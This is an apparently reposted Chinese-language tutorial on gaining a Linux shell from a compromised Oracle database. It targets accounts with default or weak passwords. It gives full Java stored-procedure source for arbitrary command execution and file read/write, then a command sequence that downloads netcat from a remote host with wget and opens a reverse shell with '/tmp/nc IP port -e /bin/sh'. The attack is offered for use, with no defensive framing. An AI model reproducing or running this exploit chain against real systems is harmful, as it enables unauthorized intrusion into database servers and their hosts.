Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Linux下Oracle获取Shell

转自:浅凝很多时候对于开放1521端口的Windows下Oracle数据库服务器,因为大多存在默认低权限用户dbsnmp,或者人品爆发高权限的用户(sysdba)是默认密码或弱口令,由此可以通过Oracle的一些提权漏洞获取Oracle的最高权限,直至得到系统的SYSTEM权限。而对于Linux下的Oracle数据库入侵,因为Linux下一般Oracle数据库都是以Oracle的独立用户在跑,所以无法获取到root权限。当然很多WEB和数据库在同一服务器上的时候,可以导出WEBSHELL到WEB目录来获取权限。然而大部分的数据库都是独立跑在一个服务器上,以下用简单的方式获取Oracle的shell,即采用nc反弹的shell的方式。1、Oracle数据库支持JAVA(如Windows下入侵一般)2、通过Oracle客户端sqlplus,以sysdba用户登录(dbsnmp用户可提权至sysdba)3、执行以下代码:CODE_1:create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
 /*
  * Command execution module
  */
 public static void execCommand(String command) throws IOException
 {
  Runtime.getRuntime().exec(command);
 } /*
  * File reading module
  */
 public static void readFile(String filename) throws IOException
 {
  FileReader f = new FileReader(filename);
  BufferedReader fr = new BufferedReader(f);
  String text = fr.readLine();
  while (text != null) {
   System.out.println(text);
   text = fr.readLine();
  }
  fr.close();
 } /*
  * File writing module
  */
 public static void writeFile(String filename, String line) throws IOException
 {
  FileWriter f = new FileWriter(filename, true); /* append */
  BufferedWriter fw = new BufferedWriter(f);
  fw.write(line);
  fw.write(" ");
  fw.close();
 }
}============================================CODE_2:-- usage: exec javacmd("command");
create or replace procedure javacmd(p_command varchar2) as
language java          
name "oraexec.execCommand(java.lang.String)";===========================================CODE_3:-- usage: exec dbms_java.set_output(2000);
--        set serveroutput on;
--        exec javareadfile("/path/to/file");
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name "oraexec.readFile(java.lang.String)";============================================CODE_4:-- usage: exec javawritefile("/path/to/file", "line to append");
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name "oraexec.writeFile(java.lang.String, java.lang.String)";4、exec javawritefile("/tmp/getnc", "wget http://www/nc -O /tmp/nc");  //写入wget nc 命令到文件getncexec dbms_java.set_output(2000);   //设置javareadfileset serveroutput on;exec javareadfile("/tmp/getnc");  //读取文件查看是否写入成功exec javacmd("/bin/sh /tmp/getnc"); //执行命令下载ncexec javareadfile("/tmp/nc");   //查看nc是否下载成功exec javawritefile("/tmp/shell", "/tmp/nc IP port -e /bin/sh"); //写入反弹命令exec javareadfile("/tmp/shell");  //读取文件查看是否写入成功exec javacmd("/bin/sh /tmp/shell"); //执行nc反弹shell,在本地nc监听就能得到shell,如果不行,请确认防火墙Linux Kernel sg_build_indirect函数本地拒绝服务漏洞Linux中让NMAP命令跟防火墙捉迷藏相关资讯      oracle  Linux Shell 
  • Linux Shell 使用笔记  (今 17:03)
  • Linux shell数组  (07月26日)
  • Linux Shell实现批量关闭局域网中  (03月10日)
  • Linux基础知识:shell基础命令  (09月06日)
  • Linux系统监控shell脚本  (04月09日)
  • Linux shell脚本编程  (03月01日)
本文评论 查看全部评论 (0)
表情: 姓名: 字数